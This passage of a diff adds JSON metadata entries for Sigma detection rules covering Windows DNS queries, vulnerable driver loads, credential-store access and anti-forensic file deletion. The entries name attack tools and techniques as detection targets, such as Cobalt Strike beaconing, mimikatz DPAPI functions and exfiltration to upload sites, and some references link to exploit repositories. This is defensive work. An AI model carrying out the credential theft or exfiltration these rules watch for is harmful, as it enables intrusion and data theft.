"dns_query_win_anonymfiles_com.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Legitimate access to anonfiles.com" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects Azure Hybrid Connection Manager services querying the Azure service bus service", + "uuid": "7bd3902d-8b8b-4dd4-838a-c6862d40150d", + "value": "DNS HybridConnectionManager Service Bus", + "meta": { + "refs": [ + "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_hybridconnectionmgr_servicebus.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1554" + ], + "creation_date": "2021/04/12", + "filename": "dns_query_win_hybridconnectionmgr_servicebus.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Legitimate use of Azure Hybrid Connection Manager and the Azure Service Bus service" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL", + "uuid": "7cff77e1-9663-46a3-8260-17f2e1aa9d0a", + "value": "AppInstaller Attempts From URL by DNS", + "meta": { + "refs": [ + "https://twitter.com/notwhickey/status/1333900137232523264", + "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_lobas_appinstaller.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2021/11/24", + "filename": "dns_query_win_lobas_appinstaller.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons", + "uuid": "f356a9c4-effd-4608-bbf8-408afd5cd006", + "value": "Suspicious Cobalt Strike DNS Beaconing", + "meta": { + "refs": [ + "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns", + "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mal_cobaltstrike.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2021/11/09", + "filename": "dns_query_win_mal_cobaltstrike.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects DNS queries for subdomains used for upload to MEGA.io", + "uuid": "613c03ba-0779-4a53-8a1f-47f914a4ded3", + "value": "DNS Query for MEGA.io Upload Domain", + "meta": { + "refs": [ + "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mega_nz.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ], + "creation_date": "2021/05/26", + "filename": "dns_query_win_mega_nz.yml", + "author": "Aaron Greetham (@beardofbinary) - NCC Group", + "level": "high", + "falsepositive": [ + "Legitimate Mega upload" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects several different DNS-answers by one domain with IPs from internal and external networks. Normally, DNS-answer contain TTL >100. (DNS-record will saved in host cache for a while TTL).", + "uuid": "eb07e747-2552-44cd-af36-b659ae0958e4", + "value": "Possible DNS Rebinding", + "meta": { + "refs": [ + "https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_possible_dns_rebinding.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1189" + ], + "creation_date": "2019/10/25", + "filename": "dns_query_win_possible_dns_rebinding.yml", + "author": "Ilyas Ochkov, oscd.community", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects network connections and DNS queries initiated by Regsvr32.exe", + "uuid": "36e037c4-c228-4866-b6a3-48eb292b9955", + "value": "Regsvr32 Network Activity", + "meta": { + "refs": [ + "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", + "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml" + ], + "tags": [ + "attack.execution", + "attack.t1559.001", + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2019/10/25", + "filename": "dns_query_win_regsvr32_network_activity.yml", + "author": "Dmitriy Lifanov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects DNS queries for ip lookup services such as api.ipify.org not originating from a non browser process.", + "uuid": "ec82e2a5-81ea-4211-a1f8-37a0286df2c2", + "value": "Suspicious DNS Query for IP Lookup Service APIs", + "meta": { + "refs": [ + "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", + "https://twitter.com/neonprimetime/status/1436376497980428318", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_ipify.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1590" + ], + "creation_date": "2021/07/08", + "filename": "dns_query_win_susp_ipify.yml", + "author": "Brandon George (blog post), Thomas Patzke (rule)", + "level": "medium", + "falsepositive": [ + "Legitimate usage of ip lookup services such as ipify API" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detect suspicious LDAP request from non-Windows application", + "uuid": "a21bcd7e-38ec-49ad-b69a-9ea17e69509e", + "value": "Suspicious LDAP Domain Access", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_ldap.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482" + ], + "creation_date": "2022/08/20", + "filename": "dns_query_win_susp_ldap.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Programs that also lookup the observed domain" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation)", + "uuid": "778ba9a8-45e4-4b80-8e3e-34a419f0b85e", + "value": "Suspicious TeamViewer Domain Access", + "meta": { + "refs": [ + "https://www.teamviewer.com/en-us/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_teamviewer.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/01/30", + "filename": "dns_query_win_susp_teamviewer.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown binary names of TeamViewer", + "Other programs that also lookup the observed domain" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects DNS resolution of an .onion address related to Tor routing networks", + "uuid": "b55ca2a3-7cff-4dda-8bdd-c7bfa63bf544", + "value": "Query Tor Onion Address", + "meta": { + "refs": [ + "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_tor_onion.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090.003" + ], + "creation_date": "2022/02/20", + "filename": "dns_query_win_tor_onion.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects DNS queries for subdomains used for upload to ufile.io", + "uuid": "1cbbeaaf-3c8c-4e4c-9d72-49485b6a176b", + "value": "DNS Query for Ufile.io Upload Domain", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_ufile_io.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ], + "creation_date": "2022/06/23", + "filename": "dns_query_win_ufile_io.yml", + "author": "yatinwad and TheDFIRReport", + "level": "high", + "falsepositive": [ + "Legitimate Ufile upload" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects well-known credential dumping tools execution via service execution events", + "uuid": "df5ff0a5-f83f-4a5b-bba1-3e6a3f6f6ea2", + "value": "Credential Dumping Tools Service Execution", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_mal_creddumper.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "attack.t1003.006", + "attack.t1569.002", + "attack.s0005" + ], + "creation_date": "2017/03/05", + "filename": "driver_load_mal_creddumper.yml", + "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "level": "critical", + "falsepositive": [ + "Legitimate Administrator using credential dumping tool for password recovery" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", + "uuid": "d585ab5a-6a69-49a8-96e8-4a726a54de46", + "value": "Meterpreter or Cobalt Strike Getsystem Service Installation", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_meterpreter_or_cobaltstrike_getsystem_service_installation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.001", + "attack.t1134.002" + ], + "creation_date": "2019/10/26", + "filename": "driver_load_meterpreter_or_cobaltstrike_getsystem_service_installation.yml", + "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", + "level": "critical", + "falsepositive": [ + "Highly unlikely" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects powershell script installed as a Service", + "uuid": "46deb5e1-28c9-4905-b2df-51cdcc9e6073", + "value": "PowerShell Scripts Run by a Services", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_powershell_script_installed_as_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2020/10/06", + "filename": "driver_load_powershell_script_installed_as_service.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects a driver load from a temporary directory", + "uuid": "2c4523d5-d481-4ed0-8ec3-7fbf0cb41a75", + "value": "Suspicious Driver Load from Temp", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_susp_temp_use.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2017/02/12", + "filename": "driver_load_susp_temp_use.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "There is a relevant set of false positives depending on applications in the environment" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of a signed and vulnerable AVAST Anti Rootkit driver often used by threat actors or malware for stopping and disabling AV and EDR products", + "uuid": "7c676970-af4f-43c8-80af-ec9b49952852", + "value": "Vulnerable AVAST Anti Rootkit Driver Load", + "meta": { + "refs": [ + "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_avast_anti_rootkit_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/28", + "filename": "driver_load_vuln_avast_anti_rootkit_driver.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of the vulnerable Dell BIOS update driver as reported in CVE-2021-21551", + "uuid": "21b23707-60d6-41bb-96e3-0f0481b0fed9", + "value": "Vulnerable Dell BIOS Update Driver Load", + "meta": { + "refs": [ + "https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_dell_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "cve.2021.21551", + "attack.t1543" + ], + "creation_date": "2021/05/05", + "filename": "driver_load_vuln_dell_driver.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate BIOS driver updates (should be rare)" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of known vulnerable drivers by hash value", + "uuid": "7aaaf4b8-e47c-4295-92ee-6ed40a6f60c8", + "value": "Vulnerable Driver Load", + "meta": { + "refs": [ + "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", + "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", + "https://github.com/jbaines-r7/dellicious", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", + "https://github.com/namazso/physmem_drivers", + "https://github.com/stong/CVE-2020-15368", + "https://github.com/CaledoniaProject/drivers-binaries", + "https://www.unknowncheats.me/forum/anti-cheat-bypass/334557-vulnerable-driver-megathread.html", + "https://github.com/tandasat/ExploitCapcom", + "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md", + "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/DRIVER7.md", + "https://www.unknowncheats.me/forum/downloads.php?do=file&id=21780", + "https://www.rapid7.com/db/modules/exploit/windows/local/razer_zwopenprocess/", + "https://www.unknowncheats.me/forum/downloads.php?do=file&id=25444", + "https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_drivers.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/08/18", + "filename": "driver_load_vuln_drivers.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of known vulnerable drivers via their names only.", + "uuid": "c316eac1-f3d8-42da-ad1c-66dcec5ca787", + "value": "Vulnerable Driver Load By Name", + "meta": { + "refs": [ + "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", + "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", + "https://github.com/jbaines-r7/dellicious", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", + "https://github.com/namazso/physmem_drivers", + "https://github.com/stong/CVE-2020-15368", + "https://github.com/CaledoniaProject/drivers-binaries", + "https://github.com/Chigusa0w0/AsusDriversPrivEscala", + "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", + "https://eclypsium.com/2019/11/12/mother-of-all-drivers/", + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-37969", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_drivers_names.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/10/03", + "filename": "driver_load_vuln_drivers_names.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Some false positives may occure if one of the vulnerable driver names mentioned above didn't change it's name between versions. So always make sure that the driver being loaded is the legitimate one and the non vulnerable version.", + "If you experience a lot of FP you could comment the driver name or it's exact known legitimate location (when possible)" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of a signed and vulnerable GIGABYTE driver often used by threat actors or malware for privilege escalation", + "uuid": "7bcfeece-e5ed-4ff3-a5fb-2640d8cc8647", + "value": "Vulnerable GIGABYTE Driver Load", + "meta": { + "refs": [ + "https://medium.com/@fsx30/weaponizing-vulnerable-driver-for-privilege-escalation-gigabyte-edition-e73ee523598b", + "https://twitter.com/malmoeb/status/1551449425842786306", + "https://github.com/fengjixuchui/gdrv-loader", + "https://www.virustotal.com/gui/file/31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427/details", + "https://www.virustotal.com/gui/file/cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b/details", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_gigabyte_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/25", + "filename": "driver_load_vuln_gigabyte_driver.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of HackSys Extreme Vulnerable Driver which is an intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level and often abused by threat actors", + "uuid": "295c9289-acee-4503-a571-8eacaef36b28", + "value": "Vulnerable HackSys Extreme Vulnerable Driver Load", + "meta": { + "refs": [ + "https://github.com/hacksysteam/HackSysExtremeVulnerableDriver", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_hevd_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/08/18", + "filename": "driver_load_vuln_hevd_driver.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of a legitimate signed driver named HW.sys by often used by threat actors or malware for privilege escalation", + "uuid": "9bacc538-d1b9-4d42-862e-469eafc05a41", + "value": "Vulnerable HW Driver Load", + "meta": { + "refs": [ + "https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/", + "https://www.virustotal.com/gui/file/6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5/details", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_hw_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/26", + "filename": "driver_load_vuln_hw_driver.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of the vulnerable Lenovo driver as reported in CVE-2022-3699 which can be used to escalate privileges", + "uuid": "ac683a42-877b-4ff8-91ac-69e94b0f70b4", + "value": "Vulnerable Lenovo Driver Load", + "meta": { + "refs": [ + "https://support.lenovo.com/de/en/product_security/ps500533-lenovo-diagnostics-vulnerabilities", + "https://github.com/alfarom256/CVE-2022-3699/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_lenovo_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "cve.2021.21551", + "attack.t1543" + ], + "creation_date": "2022/11/10", + "filename": "driver_load_vuln_lenovo_driver.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate driver loads (old driver that didn't receive an update)" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation", + "uuid": "1a42dfa6-6cb2-4df9-9b48-295be477e835", + "value": "Vulnerable WinRing0 Driver Load", + "meta": { + "refs": [ + "https://github.com/xmrig/xmrig/tree/master/bin/WinRing0", + "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_winring0_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/26", + "filename": "driver_load_vuln_winring0_driver.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows", + "uuid": "679085d5-f427-4484-9f58-1dc30a7c426d", + "value": "WinDivert Driver Load", + "meta": { + "refs": [ + "https://reqrypt.org/windivert-doc.html", + "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_windivert.yml" + ], + "tags": [ + "attack.collection", + "attack.defense_evasion", + "attack.t1599.001", + "attack.t1557.001" + ], + "creation_date": "2021/07/30", + "filename": "driver_load_windivert.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate WinDivert driver usage" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious processes based on name and location that access the browser credential stores which can be the sign of credential stealing", + "uuid": "91cb43db-302a-47e3-b3c8-7ede481e27bf", + "value": "Browser Credential Store Access", + "meta": { + "refs": [ + "https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users", + "https://github.com/lclevy/firepwd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_browser_credential_stealing.yml" + ], + "tags": [ + "attack.t1003", + "attack.credential_access" + ], + "creation_date": "2022/04/09", + "filename": "file_access_win_browser_credential_stealing.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Antivirus, Anti-Spyware, Anti-Malware Software", + "Backup software", + "Software installed on other partitions other than \"C:\\\"", + "Searching software such as \"everything.exe\" that are installed and are not located in one of the \"filter_programfile\" filter entries" + ], + "logsource.category": "file_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious processes based on name and location that access the windows credential manager and vault.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::cred\" function\n", + "uuid": "407aecb1-e762-4acf-8c7b-d087bcff3bb6", + "value": "Credential Manager Access", + "meta": { + "refs": [ + "https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_credential_manager_stealing.yml" + ], + "tags": [ + "attack.t1003", + "attack.credential_access" + ], + "creation_date": "2022/10/11", + "filename": "file_access_win_credential_manager_stealing.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate software installed by the users for example in the \"AppData\" directory may access these files (for any reason)." + ], + "logsource.category": "file_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious processes based on name and location that access the Windows Data Protection API Master keys.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::masterkey\" function\n", + "uuid": "46612ae6-86be-4802-bc07-39b59feb1309", + "value": "Suspicious Access To Windows DPAPI Master Keys", + "meta": { + "refs": [ + "https://web.archive.org/web/20181130065817/http://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/", + "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_dpapi_master_key_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.004" + ], + "creation_date": "2022/10/17", + "filename": "file_access_win_dpapi_master_key_access.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious processes based on name and location that access the Windows Credential History File.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::credhist\" function\n", + "uuid": "7a2a22ea-a203-4cd3-9abf-20eb1c5c6cd2", + "value": "Suspicious Access To Windows Credential History File", + "meta": { + "refs": [ + "https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist", + "https://www.passcape.com/windows_password_recovery_dpapi_credhist", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_cred_hist_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.004" + ], + "creation_date": "2022/10/17", + "filename": "file_access_win_susp_cred_hist_access.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_access", + "logsource.product": "windows" + } + }, + { + "description": "Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system.\nNote that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.\n", + "uuid": "558eebe5-f2ba-4104-b339-36f7902bcc1a", + "value": "File Creation Date Changed to Another Year", + "meta": { + "refs": [ + "https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_2022_timestomping.yml" + ], + "tags": [ + "attack.t1070.006", + "attack.defense_evasion" + ], + "creation_date": "2022/08/12", + "filename": "file_change_win_2022_timestomping.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Changes made to or by the local NTP service" + ], + "logsource.category": "file_change", + "logsource.product": "windows" + } + }, + { + "description": "Detects an unexpected file being modified by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", + "uuid": "9f383dc0-fdeb-4d56-acbc-9f9f4f8f20f3", + "value": "Unusual File Modification by dns.exe", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_unusual_modification_by_dns_exe.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1133" + ], + "creation_date": "2022/09/27", + "filename": "file_change_win_unusual_modification_by_dns_exe.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_change", + "logsource.product": "windows" + } + }, + { + "description": "Detect DLL deletions from Spooler Service driver folder", + "uuid": "5b2bbc47-dead-4ef7-8908-0cf73fcbecbf", + "value": "Windows Spooler Service Suspicious File Deletion", + "meta": { + "refs": [ + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/cube0x0/CVE-2021-1675", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_cve_2021_1675_printspooler_del.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574", + "cve.2021.1675" + ], + "creation_date": "2021/07/01", + "filename": "file_delete_win_cve_2021_1675_printspooler_del.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "Deletion of log files is a known anti-forensic technique", + "uuid": "b1decb61-ed83-4339-8e95-53ea51901720", + "value": "Delete Log from Application", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_appli_log.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2022/01/16", + "filename": "file_delete_win_delete_appli_log.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.", + "uuid": "06125661-3814-4e03-bfa2-1e4411c60ac3", + "value": "Deletes Backup Files", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-6---windows---delete-backup-files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_backup_file.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2022/01/02", + "filename": "file_delete_win_delete_backup_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitime usage" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "Detects the deletion of a prefetch file (AntiForensic)", + "uuid": "0a1f9d29-6465-4776-b091-7f43b26e4c89", + "value": "Prefetch File Deletion", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_prefetch.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2021/09/29", + "filename": "file_delete_win_delete_prefetch.yml", + "author": 